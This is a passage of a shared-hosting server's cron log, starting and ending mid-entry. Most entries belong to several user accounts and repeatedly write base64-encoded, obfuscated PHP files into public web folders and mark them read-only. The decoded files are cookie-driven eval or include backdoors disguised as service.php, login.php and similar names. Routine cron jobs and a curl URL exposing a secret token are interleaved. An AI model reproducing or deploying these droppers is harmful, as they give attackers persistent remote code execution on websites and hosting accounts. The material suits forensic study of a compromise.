"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:26:01 medusa CROND[17888]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:26:01 medusa CROND[17889]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:26:01 medusa CROND[17894]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:26:01 medusa CROND[17895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:26:01 medusa CROND[17900]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:26:01 medusa CROND[17907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:27:01 medusa CROND[6052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:27:01 medusa CROND[6062]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:27:01 medusa CROND[6063]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:27:01 medusa CROND[6064]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:27:01 medusa CROND[6065]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:27:01 medusa CROND[6061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:27:01 medusa CROND[6066]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:27:01 medusa CROND[6069]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:27:01 medusa CROND[6070]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:27:01 medusa CROND[6077]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:27:01 medusa CROND[6087]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:27:01 medusa CROND[6088]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:28:01 medusa CROND[25808]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:28:01 medusa CROND[25862]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:28:01 medusa CROND[25863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:28:01 medusa CROND[25861]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:28:01 medusa CROND[25864]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:28:01 medusa CROND[25868]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:28:01 medusa CROND[25866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:28:01 medusa CROND[25869]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:28:01 medusa CROND[25871]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:28:01 medusa CROND[25877]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:28:01 medusa CROND[25878]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:28:01 medusa CROND[25879]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:28:01 medusa CROND[25886]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCk